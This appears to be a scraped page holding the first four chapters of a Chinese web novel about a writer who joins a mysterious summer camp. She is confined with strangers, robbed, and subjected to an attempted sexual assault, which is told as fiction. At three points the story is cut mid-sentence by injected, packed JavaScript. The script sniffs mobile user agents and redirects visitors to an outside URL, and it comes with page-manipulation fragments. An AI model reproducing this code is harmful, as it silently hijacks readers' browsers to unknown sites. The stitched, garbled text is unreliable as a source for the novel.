《等我有空把你们全杀了》 1. 第 1 章 垃圾桶旁边立着一根电线杆。男人走过时抬手一拍,往上留下一张广告单。广告纸没糊稳,风一刮,飘下来糊到平月脸上。 平月一手扔垃圾,一手抓掉脸上的纸。 脸上黏糊糊地散发着胶水的臭味,她皱着鼻子回头,男人早没了踪影。 她将纸抻平,黑色粗体大字活泼地跳入视野—— 【818夏令营开始招人啦!】 【你还在为写不出好故事而烦恼吗,你还在为做不出好曲而痛苦吗,加入我们,让我们解决你的烦恼,助你成为闪耀之星!】 【报名地址:康宁路818号】 【报名电话:0818-818818】 【期待你的到来!】 平月从头到尾看了两遍,这张广告像是为她量身打造。 她是个写手,上一本书完结,距今三个月了,新文迟迟没开。读者天天催,她也没办法,完全没有灵感,不知道写什么。 这张广告是天降救命符,将将降到她脸上。不看一看,都是对天的不敬。 平月揣回家里。 电脑一直停在word界面,文档除了“第一章”三字标题,一页空白。 她关掉word,打开浏览器搜索818夏令营。 关于818夏令营的信息有上万条。 她点开浏览量最大的几条慢慢看。 818夏令营是专门打造名人的夏令营。流量小生去夏令营进修两个月,出来后,演技称神,大片资源不断,奖项拿到手软。平平无奇老歌手进修回来,一曲封神,直登乐坛顶端。 平月越看,越觉得夸张。直到她看见自己最喜欢的作者,那是她大学时期开始追的。起初只是无人问津的小写手,写了十几本都不咸不淡,但平月爱看。 前年,她断更半年,再开文时,一本爆出圈,后面本本超绝。 她喜欢的作者断更的那半年,去参加了夏令营。 平月有点兴奋,她打开夏令营的官方网页,刷刷填写申请表。 姓名:平月 年龄:23 职业:写小说 工作经历:无 饮食禁忌:都吃 有无疾病:无 有无过敏史:无 是否正在吃药:否 居住城市地址:美好家园小区 上传两寸照片,提交。 审核需要1-3天,筛选通过要缴818元的费用,包含车费、吃住、课程费。 这个价格太低了,平月猜测报名的人应该有很多。她点进报名首页,上面事实统计已报名人数:308933人。 还在增长。 这次的夏令营时间正逢暑假,不管大人还是学生都会去凑一凑,毕竟818元吃喝住两个月,还能帮忙管教孩子,没有比这更划算的了。 人太多,平月没抱什么希望。 她逛了一会儿关于夏令营的网页,又打开word继续愁眉苦脸,晚上点个外卖,混沌的一天平静结束。 第二天睡到中午,拎着昨晚的外卖垃圾去楼下扔掉,再拐出小区吃午饭。 “月月,你的信。” 门卫大爷从窗户口探出手,夹着信递给她。 “出去吃饭啊?” “嗯。”平月接过信。 寄件人:818夏令营。 眼皮重重地跳了一下,平月快速拆开信封。 一张贺卡,烫金绘画的“818”数字图标,翻开贺卡—— 【亲爱的平月女士,恭喜你加入我们。】 【夏令营开启时间为6月30日至8月31日,请你携带私人物品于6月29日到城东车站集合(车票附后)。】 【再此,我们真诚祝愿你能取得你想要的一切。】 【欢迎你的到来,818夏令营敬上。】 平月有点懵,昨天报名,今天成功?她的运气有这么好? 她突然想起昨天丢垃圾的场景,好端端的广告纸糊了她一脸。一切像命中注定。 “咋地了,信上说啥?” 门卫大爷钻出一颗头来,眼睛往贺卡上瞅。 平月叠上贺卡,揣进包里。 “你吃没?” “吃咯,今天的烧鸭有臭味,毛没烧干净……” 大爷开启了今天的吐槽。 平月顺着小区外面的路往下一条街走,随便找了一家店吃酸辣粉。 等粉的间隙,她拿出邀请卡再看。 被选中的不真实感在看见覆盖在车票上的收款二维码(请缴纳报名费)时,彻底消失。818元从卡上扣出去,平月拥有了真切的实感——她确实被选中了。从三十万人里,成功中选。 激动和颤抖姗姗来迟,平月对着那张邀请卡笑。笑完了,拿出手机拍照,邮箱送进来一封邮件。 夏令营的保密协议,加入夏令营必须保密两点。一,禁止泄露夏令营的课程内容。二,禁止泄露夏令营的地址。 签名,确认,反传回去。 …… 平月用一周的时间准备必需品。衣物、生活用品、基础药、电脑手机平板、身份证。 凌晨一点的闹钟刚响,她收拾完,站在主卧室门口。 “爸,妈,我出趟远门,两个月回来。” 主卧室里的人在睡觉,没有回她。她背上背包,拿着邀请函和车票,打车去城东车站。 午夜的车站没人,一排站台只有到巴斯镇的站台停着大巴车,亮着一颗白炽灯。平月直直过去,把行李箱塞进车肚子。司机架着腿在睡觉,她坐到倒数第二排窗边。 手肘抵在窗棱上撑着下巴,透过车玻璃看见有人上了车。是个年轻的女生,扎着高高的马尾,背着可爱的双肩包,上车没一分钟,平月便听见拉链拉开的声响。 下一秒是啃苹果的脆脆声。那个女生在吃苹果。 两分钟后,上来一个很潮的男生,大大的耳机套在脑袋上,铁锈色的短发贴着额头,在清冷的白灯下闪着光。耳朵上的蓝耳钉更闪。 他刚坐下,啃苹果的女生靠过去,“我叫悦凌凌,你叫什么?” 男生没听清,摘下耳机。悦凌凌又问一遍。 男生上下打量她,笑着说:“陈宇南。” 悦凌凌:“你也是去……” 说话的间隙上来一个穿吊带裙的女人,细长的两条腿在开叉的裙摆若隐若现,高跟鞋踩着车板哒哒哒像踩中了陈宇南的心脏。陈宇南的视线随着她的腿追过去。 她从过道穿过,将空气染成浓郁的香水味。 “喂!” 悦凌凌冲陈宇南提高声音。 陈宇南猛地回头。 悦凌凌说:“你是不是去……” 又一个男人上来,满脸络腮大胡,裤子吊着裆,两只脚螃蟹似的开叉走路,龌里龌龊。 一上车就拿油腻腻的眼睛瞟前排的悦凌凌。 悦凌凌吓到了,闭着嘴缩到窗边。 陈宇南起身去了后排,隔着过道,坐在女人旁边的位置。 “陈宇南……”悦凌凌想追,刚站起,被那个龌龊的男人拦住。悦凌凌被迫坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926631|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去。 男人贴着她正要坐下,门口上来一个穿冲锋衣的男人。寸头,方脸,眉眼严肃。他抿着嘴,视线像一把刀锋利地割过男人。男人和警察打过不少交道,非常机敏地嗅到了那股警察味。腿肚子一抖,抓着椅背跌跌撞撞去了后面。 悦凌凌狠狠松了一口气,“谢谢。” “我叫悦凌凌,你叫什么?” “梁威。” 梁威在悦凌凌的后排坐下。悦凌凌顿感安全,转过身,趴在椅背上问他:“你是警察吗?” “发车时间已到,请发车。” 陡然响起的提示音盖住了她的询问,司机打个哈欠,捞过茶杯喝口浓浓的苦茶,冲车里的人喊:“车票拿出来,要检票了哈。” 三分钟后,大巴车驶出车站。 平月戴着口罩,靠着车窗。路灯似流水一条一条从眼尾划过,车上了高速,视野变成墨黑。 困意袭来,沉沉甸甸地睡着了。 前排有人打呼噜,越打越响,平月又醒了。 窗外是黑的,车内也是黑的。呼噜声如雷霆。平月睡不着了,闭着眼睛,半睡半醒地挨到天亮,大巴停进服务区。 “醒醒,都醒醒!吃饭上厕所的搞快点,七点钟出发!” 司机拍着巴掌大声叫。 平月第一个下车,扔掉口罩,清晨的冷空气灌进肺部,混沌的脑袋彻底清醒了。 她去上了厕所,在超市买一桶泡面,接了热水坐在休息区里。 大巴车上的人陆续下来。 穿吊带裙的女人裹着披肩,抱着猫,路过休息区时,隔着五排桌椅,平月都能闻到浓烈的香水味。她不舒服地皱着鼻子,低头找纸。 “梁威?” 刚从厕所出来的梁威听见声音愣了一下。 下一瞬,抱猫的女人闯入他的视线。 老熟人,张情。 他的脸色顿时难看起来,视线迅速往外扫一圈,拽住女人的手腕,将人拖进厕所背面。 厕所背面是一堵墙,一米宽的通道堆满各种杂物。 张情靠在墙上,笑盈盈说:“还真是你,我以为看错了。” “你出任务?” 梁威不答反问:“去夏令营?” 张情:“对啊。” 梁威:“谁让你去的?” 张情:“我不能自个儿想去?” 梁威不说话,就那样定定地看着她。 审犯人似的。 张情说:“有人给了我50万,让我去参加夏令营。” 梁威整个人都冻住了,嘴唇抿得死紧,很厚的唇峰被抿得只剩薄薄的一点。 张情认识他很多年,太熟悉他这种压抑的愤怒的表情。她收敛笑意,正经地说:“开玩笑,别当真。” “我男朋友的老婆知道我了,带人打上门来,出来躲两个月。” 她点开手机,“喏,看吧。” 陌生号码的短信,追着她骂了几天几夜,各种肮脏的词不要钱地输出。看的这一两分钟,又一条短信送进来:死妈的婊子,最好一辈子别回来,否则见一次打一次! 梁威缓和了。 “不会你也去夏令营吧?” 张情收回手机,纤长的手臂顺势环到他的脖子上,笑意盈盈。 “你说我们这么有缘,不如……” “安分点!” 梁威甩开她的手,大步离开。 张情倚在墙上,盯着他的背影,脸上的笑意落到嘴角变成了讥讽。 “嗤……看你还能威风多久。” 2. 第 2 章 张情从厕所背面出来,陈宇南瞧见人,立即迎上去。刚走两步,他又停下来,看向休息区。 第六排桌子后面坐着一个女生,她低着头,看不清全部的脸。但陈宇南看见她的第一眼,便想到了白雪覆清梅,清冷。 她伶伶坐在那儿,拿着保温杯喝水。 张情从他身旁走过,他头也没回。 平月感受到了目光,朝人看去。四目相对,陈宇南匆匆别开眼,钻进旁边的超市。 泡面泡好了,平月放下保温杯,掀开泡面桶盖搅了搅。 刚吃两口,阴影从头顶盖下来,有人问她:“可以坐吗?” 是那个很潮的男生,端着泡面,站在桌子对面。在平月抬眼看他时,他的脸红了。 掌心的泡面滚烫,那抹烫像是烫到脸上去了,烫到心里去了。陈宇南浑身都是热的。 她有一双特别好看的眼睛,上眼睑一粒红色的痣,掀眼看人时,那抹红给双眸镀上一层情欲。 她好像也知道,只短暂地看他一眼便垂下眼去,继续吃面。 陈宇南在她对面坐下,局促地说:“我叫陈宇南,可以认识一下吗?” “平月。” “悦凌凌。” 第三道声音插进来,悦凌凌端着泡面对陈宇南展眉一笑,在陈宇南旁边坐下。 屁股刚挨着板凳,便开始打量平月,尖锐的目光落过去瞬间变成了惊艳,“你是明星?” “听说夏令营每年都有明星去进修。” “不是。” “那你去学什么?” 平月咬断面条,拿过保温杯喝了两口,然后端着泡面走了。 “诶!我和你说话……你这人好没礼貌!” 悦凌凌生气地抬手。 陈宇南说:“你问人家私事做什么?” 悦凌凌:“大家都是去夏令营的,怎么就私事了?” 陈宇南:“你怎么知道她是去夏令营的?” 悦凌凌哑然。她只是看见陈宇南和她在一起,以为都是一起的。 早晨六点过的服务区虽然人少,还是有十几辆私家车停着。平月到底从哪儿来,她还真不知道。 悦凌凌理亏,又有点气不过,一直盯着平月,见她扔了泡面和纸巾,接了热水,拿着保温杯上大巴车。 悦凌凌立刻指着她说:“你看,她就是和我们一起的啊!” “就算一起,大家都是陌生人,人家为什么要把自己的事情告诉你?” 陈宇南无语,本来他和平月聊得好好的,正是接触的好机会,全被悦凌凌搅乱了。 他转个身,端了泡面去另一桌吃。 独留悦凌凌孤零零地坐在那桌。 好半响,悦凌凌回过神来,隔着两张餐桌问陈宇南:“你喜欢她啊?” 陈宇南藏着头发里的耳朵红了。 “都不认识……怎么算喜欢。” 悦凌凌看陈宇南的侧脸,他长得很帅,是悦凌凌喜欢的类型。她也不认识他,但是他上车的时候,她还挺喜欢他的。 悦凌凌也红了脸。 两个人红着脸,斜地里背对背嗦面。 …… 大巴车在第二天的凌晨两点进入巴斯镇的车站。 边境线的小镇车站又破又烂,整个车站没有灯。大风呼噜噜地刮,沙尘满天飞。 平月从背包里掏出绒线帽子戴上,披上厚围巾,裹上外套,墨镜一架,下了车。 悦凌凌被大风刮得张牙舞爪,一面抬起胳膊挡风,一面眯着眼睛到处瞧,生怕掉了队。 瞧到全副武装的平月,她问:“你来过啊?” 平月:“嗯。” 车站外面的街道乌黑空寂,唯一一盏没有坏掉的路灯下面停着一辆保姆车,车顶立着五彩斑斓的立牌——818夏令营。 悦凌凌冲上去敲玻璃窗。里面睡觉的司机吓了一大跳,腿一抖,从方向盘上拿下来,摇下窗,揉着眼睛说:“你们到了啊,上车上车。” 保姆车在弯曲的山路上盘绕一整夜。 前两日下过雨,山路淤泥不堪,保姆车颠簸到中午,才驶上平整的柏油路,开进高耸入云的铁大门。 悦凌凌稀奇地贴着窗户望。 司机笑着说:“你们公司有钱吧?这个庄园是老外修的,好几十年了,贼有钱了,听说现在地窖里还藏着几万瓶的好酒。前几年有剧组过来租庄园拍戏,没租上,今年倒给你们用上了。” “真的?”悦凌凌双眼兴奋,她除了读书就是在家,第一次上这种地方。 看草地里的草都觉得比外面的昂贵。 梁威问司机:“你不是本地人?” 司机愣了一下,“嗐”一声,“我们这行的,不学点普通话,没外地人愿意坐我们车不是?我学得还像模像样吧?” 他换了一个口音,用他们听不懂的方言说了一句话。 悦凌凌好奇问:“你说什么?” 司机:“到了。” 保姆车停在柏油路尽头。 悦凌凌从车窗探去,一栋玻璃房,完全透明的玻璃房矗立在蜿蜒的青石小路中央。 阳光下,全屋落地窗的玻璃房如晶莹剔透的水晶那般闪耀发光。 人站在外面能看清里面的全部。一楼的客厅、餐厅,二楼的房间。有些拉了窗帘,有些开着。 一扇窗帘被哗啦拉开,穿着四角内裤的男人站在窗前伸懒腰。看见他们,他弯下腰,冲他们晃手打招呼。 “好恶心。” 悦凌凌背过身去。 “能不能穿上衣服。” 她拽过自己的行李箱,低头跟在最后面。 保姆车在身后扬长而去。 “你们来了,快进来。” 玻璃房的大门被白发苍苍的老奶奶推开,一脸慈爱的笑。 悦凌凌疑惑问她:“您是教我们的老师吗?” 老奶奶大笑两声:“哪能,我来玩的。” 好家伙,这么老的奶奶都有职业追求。悦凌凌顿时感到压力山大。 人全部进了房子,她关上门,笑着说:“我叫赵淑萍,是这儿年龄最大的了。都是来玩的,不用讲什么辈分,你们随意叫。” “房间在楼上,门上贴了名字,你们快把行李放上去,去看看房间。” 大家提着行李上二楼,在走廊上找各自的房间。 赵淑萍站在客厅的中央,仰头对他们说:“一点钟要到这儿集合,等会有人要宣布事情。” 房子是中空设计,能从下面看见二楼走廊,也能从走廊看清楼下客厅的动静。 悦凌凌覆在栏杆上脆生生应道:“知道啦,奶。” 听她这样叫,赵淑萍乐得发笑:“你长得真像颗小苹果,红彤彤的。” 悦凌凌尴尬地钻进了自己的房间。 房间很大,入门口是衣柜和鞋柜。平月把行李箱放上去,没有急着挂衣物,而是摘了口罩去屋里转。 窗边靠墙一张电脑桌,支架电脑人体工学椅一并俱全,窗户另一边是小圆桌配着柔软的小沙发。 储物柜的上方墙壁开着一块正方形的口,写着“出餐口”,旁边还有一个更大的口,写着“垃圾回收”。上方贴着出餐时间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一看就不是个好东西,谁也没张嘴问他。梁威却直指他:“名字。” 男人脸上堆起笑,探头哈腰:“范、范明胜。” 啪! 电视机打开了。 “Hi,欢迎来到818夏令营,我是你们的老师,Jck。从今起,你们的课程由我负责。” 屏幕跳闪两下,出现一个戴银丝银镜的男人,发式整洁,西装革履,坐在办公桌后,双手覆在身前的书籍上,目光温和,一股知识渊博的稳重味。 “远道而来,你们辛苦了。前三天稍作休息,养足精神,从7月4日起开展课程。” “开展课程之前,先宣布学习规则。一,没有按时交作业者,将禁食一天,若两天没有交作业,禁食两天,以此类推。二,在为期两个月的夏令营期间,为了确保你们能全身心投入学习,我们将全方位全时间段禁网禁足,如果有特殊事情,可以通过座机拨动夏令营的电话。” “禁足?!什么意思?” 悦凌凌震惊地站了起来。 随着她的起身,房子里响起连串的“咔哒”声。 “咔哒。” “咔哒。” “咔哒。” 大门锁了。 窗户封死了。 整栋房子变成完全封闭的空间。 树梢上的摄像头从上往下俯视,录进仪器里的房子像一条卧在土坑里的棺材。 3. 第 3 章 “请稍安勿躁。” 赶在众人慌乱之前,Jck出声安抚。 “夏令营的成立是帮助你们解决烦恼,助你们成功。禁足是为了防止有人借着来学习的幌子做不相干的事。” Jck说:“夏令营不养废人。” 空气岑寂。 沙发前后的人,表情各异。 Jck继续说:“每个人有相对应的老师,如果你们的成绩达到老师所要求的及格线,可以申请外出放风。” “哦,这样。” 悦凌凌浑身的焦躁被抚平了,坐回沙发里。 Jck:“你们有什么疑问吗?” 没人回答。 “如果需要什么,可以打电话告诉我。我替你们安排。” Jck指向沙发旁侧的木柜,插着菊花的花瓶旁放着一台古老的座机。 “按拨号键能直接接通内线。” “好了,不耽误你们休息。” “祝你们旅途愉快。” 啪。 电视屏幕跳了台,转到体育频道,看台上的人在喝彩。 悦凌凌疑惑:“为什么祝我们旅途愉快?” 赵淑萍笑道:“旅行嘛,我们就是来玩的啊。” 悦凌凌:“奶,您真来玩啊?这是学习的夏令营诶。” 赵淑萍:“不知道咯,我孙女儿报的名,让我来玩两个月散散心。反正在哪儿不是散,800块钱还包吃住,你看这儿环境好着呢,吃得也好,住的比外面酒店还大还舒服。” “那床,睡得我老腰都舒服多了哟。就是不知道是啥做的,回头让我儿子也买一张。” 悦凌凌对床不感兴趣,她扭头问其余人:“你们是来学什么的?” 问完又怕这些人像平月那样以为她是刺探隐私,赶紧自报:“我是来考研的,在家里学不进去,听说夏令营有老师一对一辅导,我就来了。你们呢?” 她把目光定在陈宇南身上。 陈宇南往餐厅看,平月在烧热水,站在煤气灶前,不知道是发呆,还是专注看水壶。 陈宇南对自己的职业很有信心——年轻女孩就爱他这款,就像悦凌凌。他提高声音,以确保平月能听见—— “我是制作音乐的,主要是作曲和写词。出了四首歌了。” “哇!” 悦凌凌双目明亮,一脸崇拜。 “这么厉害!” 陈宇南压抑不住的骄傲,然而,那边毫无动静的平月是一盆兜头泼下的冷水,泼灭他的骄傲。 悦凌凌:“你写的什么歌啊?” 引以为傲的事情从她嘴里问出来,陈宇南感觉好没意思,懒得再说。 悦凌凌问梁威:“你呢?” 梁威:“办公文员。” 悦凌凌探身冲平月喊:“你是做什么的?” 水壶“呜呜呜”报响,水开了。平月提起水壶倒掉,准备重烧一壶。 “诶!你这孩子咋这么浪费水?”赵淑萍急急过去,“这些东西我昨天都洗过了,干净的!” 一壶水倒完了,平月一脸无辜:“我不知道。”她掀开壶盖,接满一壶,再烧。 “唉……” 赵淑萍叹气。 “现在的年轻人啊,真是不当家不知道柴米油盐贵。” “一壶水不至于吧?” 陈宇南立刻站到平月那边去。 “又不是没交钱,而且您也没说啊。” 赵淑萍指着陈宇南,气笑了,“看吧,现在的年轻人就是这样,一壶水就不节约了呀?一人一壶水,这个地球上的水资源都被你们倒完喽!” 客厅寂静。 赵淑萍得不到附和,回头看,客厅里或站或坐的全是年轻人。 “得,就我一个七老八十的,说什么你们都不爱听。” 她扒着楼梯扶手,上楼去了。 等人进了房间,悦凌凌才吐吐舌头,走到陈宇南身边,小声说:“该不会是她家孙女嫌她在家里烦,才送她来这儿吧?” 平月听笑了,“真有可能。” 客厅里的人陆续散去。水烧开了,平月往保温杯里装满热水,正要将剩余的水倒掉,悦凌凌急忙说:“还是留着吧,小心被看见了又要挨说,等会谁要喝还能喝两口。” 平月放下水壶,拧着保温杯回房间。 她将行李翻出来整理好,去浴室大洗漱,然后开始补觉。 这一觉睡醒已经是晚上八点。 出餐口堆着下午茶和晚餐。平月将它们拿出来,吃掉晚餐。下午茶是蔓越莓夹心饼干和酸奶,被她收进柜子。 保温杯的热水喝完了,她换上衣服,去楼下烧水。 客厅里,赵淑萍戴着老花镜织毛衣,周志坐在她旁边看动物世界。 从平月开始烧水,赵淑萍每织几针便翻着眼睛从镜片上方窥她,像是在监督她有没有浪费水。 平月当作不知,用热水烫一遍保温杯,装满水回楼上。 见她没有过于浪费水,赵淑萍总算松了一口气,问周志:“小志喝茶不?” 周志笑道:“来一杯。” 赵淑萍放下手里的毛线,摘掉眼镜,“还是你们年轻好,晚上喝茶也睡得着,我不行咯。” 周志笑着说:“我看柜子里有羊奶粉,你冲点喝,助眠。” 赵淑萍刚打开柜门,楼上响起一声大喝:“谁?!” 紧接着,“嘭”地一声巨响,整栋房子的门窗都在震颤。赵淑萍抬头,一道人影刷地从二楼墙上晃过。 周志迅速冲上去,一巴掌摁亮二楼的大灯。 明晃晃的白灯之下,走廊空无一人,平月倒在房间门口,正艰难地从地上爬起来,保温杯在地面滚出老远。 周志上前扶她,“怎么……”视野里,平月的屋内一片凌乱,各种东西掉得满地都是,被洗劫得彻底。 “看看掉什么东西没有。”周志将她扶进屋,替她捡起地上的东西。 平月扭到脚了,扶着墙壁,吃力地慢慢挪动,看了一圈,她坐到床上,掀开被子和枕头。 “手机和平板没了。” 其余人围到门口,俱是一副被吵醒的模样。梁威走进来,问她:“之前放在哪里?” 平月指着床头柜,“在这里充电。” 电脑她睡前玩过,顺手压在了没有睡的那个枕头下面,所以还在。 梁威:“看清人了吗?” 平月:“没有。” 梁威:“长发短发?” 平月:“短发。” 梁威:“身高?” 平月:“比我高一点。” 梁威:“穿什么衣服?” 平月:“记不得了。” 梁威还要再问。周志说:“当时楼上没开灯。”就只有一楼的灯光隐隐约约照着一点,再问也问不出什么。 他坐在楼下,对着走廊都没看清。 但听平月的陈述,很明显是个男性。 周志从屋里看向屋外,除了他,这个房子里还有四个男性。陈宇南和余有为哈欠连天,梁威塞着拖鞋就过来了。只有范明胜,站在人群后面,踮着脚贼眉鼠眼地往屋里瞅,瞅见平月,眼睛珠子浸出油光,隔着几米远的距离对平月舔舌头。 周志挡在平月身前,几乎下意识就要将范明胜当作小偷。 梁威把自己手机递给平月。这一天的网还没有断,有信号。平月拨出自己的号码,连通了,却没人接。 打第二遍,还是没人接。 张情嗤声:“我说夏令营收费这么低,原来是人是鬼都在这,怪瘆人的。” 她摸摸猫的脑袋,“走,咱们回屋。” “都别走。” 梁威说。 “现在人齐,大家搜一下房间。” “警察就是了不起,”张情停下脚,冲梁威扬唇,“说搜房就搜房。不过……搜咯,反正不是我,不怕搜。” 张情一句话让所有人进退两难,本来碰上这种事就挺倒霉,现在又要被搜房。谁想被陌生人闯入私人空间? 陈宇南看了眼平月,挺身而出,第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926633|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表态:“我同意搜。今天不把小偷找出来,也许下一个就偷到我们房间,晚上睡觉都不踏实。” 悦凌凌附和:“你说得对,搜吧。” 他们今天中午才到,下午都忙睡觉,行李也没有收整,房间几乎保持着来时的状态,也不怕人瞧见什么。 “你们……” 钱晓文皱眉。 大家将目光投向她。 她说:“既然是短发,那就是男性,搜男性房间就好了。” 梁威:“不排除是女性将头发绑起来。” “你怕搜房啊?”张情意味不明地盯着钱晓文笑。 钱晓文没出声了,但那双手紧紧扯着衣袖,不难看出很紧张。梁威多看了她两眼。 “快搜吧。” 悦凌凌打开自己的房间门,急切地让人进去。生怕迟一步就被扣上“小偷”的嫌疑。 梁威收回视线,询问平月的手机型号和颜色,和周志一起进房间查找。平月继续拨打号码,试图让他们听见手机铃声。 事与愿违,没有响铃声,也没有平月的手机和平板。 他们转进隔壁陈宇南的房间,继续盘查。人群也跟着他们挪到陈宇南门口,只有平月留在自己房间的床上。她扭到的左脚肿了,一动就疼。 范明胜动了动眼珠,悄悄退出人群,溜进平月房间,反手关上门,扣上锁。 悦凌凌听见动静,回头看了一眼。 “谁啊?”平月按下第十五次拨号键,头也不抬地问。 “我啊,好妹妹……” 范明胜提提裤头,冲平月露出一口大黄牙。 平月手指僵住,下一秒慌乱地挂掉电话,看向来人。 那模样跟受惊的小白兔似的,范明胜心头一乐,靠过去,“好妹妹要搜房?不如先搜搜我啊,来来来,哥哥给你搜,妹妹想怎么搜就怎么搜。” 他伸手去抓她的手。平月突然爆发出一声尖叫,抡起手机就向他砸过去,“滚!” 范明胜笑嘻嘻躲开,“别叫呀,妹妹。”他扑到床上,捞起棉被往平月头上罩,想要堵她的嘴。 平月往床外一滚,摔在地上。收抓住床边的台灯往范明胜头上砸。范明胜猝不及防,被狠狠砸中。头晕了一下,咬着牙清醒过来,哼哼地笑:“瞧不出来还是个辣妹子。” 他龇着牙往平月靠。 平月砸中就丢,拖着红肿的左腿往门口挪,每动一下就钻心地疼。 她扯着嗓子又叫又喊。范明胜的脸色骤变,直接从床头扑到床尾,一把拽住她的胳膊往床上拖,“过来!” “啊!” 胳膊一痛,平月仰头摔在床上,视野天旋地转,只看见一张脸从头顶铺天盖地罩下来。 “平月!” 陈宇南疯狂撞门,撞得门扉连着窗户高频率的震动。 范明胜嗤笑:“一个屁小孩急什么。”他一手扯平月的胳膊,一手抓她肩膀,用力往床中央提。 手里的人就像一个布娃娃,浑身轻飘飘的。 “跟团面条似的。” 范明胜啧啧有声。 “范明胜。” 梁威的声音出现在门外。 范明胜浑身僵硬。他一得意,忘记这里面有个警察。 范明胜不甘心地低下头,手里的人吓傻了,目光呆滞,躺在床上,头顶的灯光在她漂亮的瞳孔里闪烁成一片一片的碎影。 吓傻了也是个好看的傻妞。 他俯在平月脸上,悄声说:“还有两个月,咱们有的是时间。” 丢开到手的人,他从床上下去,打开门,冲梁威谄媚地笑:“我就跟她说两句悄悄话,啥也没干。” …… 平月做了一个梦。 梦里,路灯碎成星光,她望着星光斑驳的世界,有一只手,穿透破碎的空间,弯腰抚摸她的脸。 “小妹妹长得真好看啊。” “可惜了……” “要死了。” 那个人,张着一口大黄牙,喷出令人呕吐的臭味,惋惜地凝视她。 4. 第 4 章 在搜查陈宇南的房间时,为了避嫌,陈宇南没有进屋,和众人站在屋外等。 不知道是屋内翻找出的动静,还是什么,他听见一声叫。周围的人没有反应,他问身旁的悦凌凌:“有听见什么声音吗?” 悦凌凌“啊”一声,匆匆摇头:“没。” 于是,他当自己听错了。 两分钟后,那叫声越来越大,还有重物砸在地上的闷响,从楼梯口方向传来。 这次,所有人都听见了。 平月的房间门不知道在什么时候锁死了,平月在里面叫。 陈宇南冲过去,疯了一样撞门。 没用,里面的人完全不怕被人知道。直到梁威过来。 范明胜打开门,吊儿郎当地叉着腿走路,走两步提一下裤子。陈宇南想一拳捶死他,怒火烧得心脏都烂了,但平月软绵绵地半躺在床尾,像一根面条,似断非断,他什么都顾不上,撞开范明胜冲进屋里。 平月昏迷了,从床尾滑到地上。 陈宇南快速接住她,抱起人放上床。雪白的被子里,她裸露的脚踝肿得又红又大,手臂上深红色的掐痕刺得陈宇南的眼疼。 梁威将范明胜拎了起来,怼在墙上。 “冤枉啊!”范明胜双手高举,大声喊,“我什么都没做,只跟她说了两句话,不信你们问她!” 他像世界上的每一个无赖。所有人都心知肚明他想做什么,然而所有人都拿不出证据,于是,所有人都不敢将他怎么样。 梁威警告他:“安分点。” 他老实得如同一个被训的学生,面上又俱又怕又乖,“一定听您的话!” 梁威丢开他。 范明胜哈着腰,对梁威谄谀地笑:“那、我先回房了?” 梁威:“站住。” 范明胜:“您还有什么吩咐?” 梁威:“查房。” 于是,搜查房间,变成从范明胜那头开始查。 范明胜住平月的正对面,恰好是楼梯口另一端的第一间房。 房间里摆着中午吃剩的饭菜,残羹汤汁在恒温室内搁了一下午,透着一股垃圾味。 他装行李的蛇皮口袋破破烂烂敞开,脏衣服裤子乱七八糟地堆着,打眼瞧着像是刚捡了垃圾过来的。 除了梁威和周志,一群人嫌弃地挪到旁边的房间门口等。 他们搜了很久,搜得很仔细,周志让在对面房间陪平月的悦凌凌打电话。 梁威的手机摔烂了一个角,还能继续用。悦凌凌坐在床边,就着平月之前打的那个电话号码一直打,一直打。范明胜的房间里没有任何铃声。 范明胜摊开双手,很无辜:“说了不是我。您也查了,真不是我。我那会儿还在做梦呢。” 小偷都爱说“不是我”,偏偏周志将床脚抬起来看过,床垫子拆了,马桶盖也拆了,还真没有。 范明胜是他最怀疑的人,证据是一点也找不着。 周志失望地离开房间。 隔壁是余有为的房间。周志推开门就被刀光闪了眼,他下意识抬手挡,从指缝看见正门进去的厨台上立着一排大刀小刀,刀刃开得很锋利,寒光瞩目。 余有为挺着大肚子,站在门口尴尬笑:“厨子。” 周志:“藏着点吧,这么多刀,当心人心不轨。” 余有为:“收到收到。” 余有为的房间很大,但空。检查得很快,一无所获。 隔壁是钱晓文。梁威的余光一直注意着她,随着周志走出余有为房间,钱晓文几乎要流出汗来,肉眼可见的慌张。 有些东西并不是因为大家同住一个屋檐下就能接受,更何况是令人恐惧的东西。 他们还要一起住两个月,钱晓文不想成为被排挤的那个人。 在周志走到门口之前,钱晓文闪身挡住门,“你们这样做是犯法。” 张情听笑了:“不会是你偷的吧?” 她上下打量钱晓文。这个女人的头发不算多,整整齐齐扎着低马尾,颧骨因为消瘦而微微凸出,微白的皮肤让她看起来不丑,却也不好看。穿着短袖和长裤,非常普通。 不是有钱人,却也算不上穷人,比起范明胜,简直是一个再正常不过的人。 但是嘛,被人忽略的正常人总是会在意想不到的情况下变成特殊的人。 张情颇有兴趣地盯着她瞧,“你不怕晚上偷你屋里去啊?” 钱晓文脸色骤变,她看着对面围着她的男男女女,他们打量她,就像在衡量她是小偷的概率有多少。 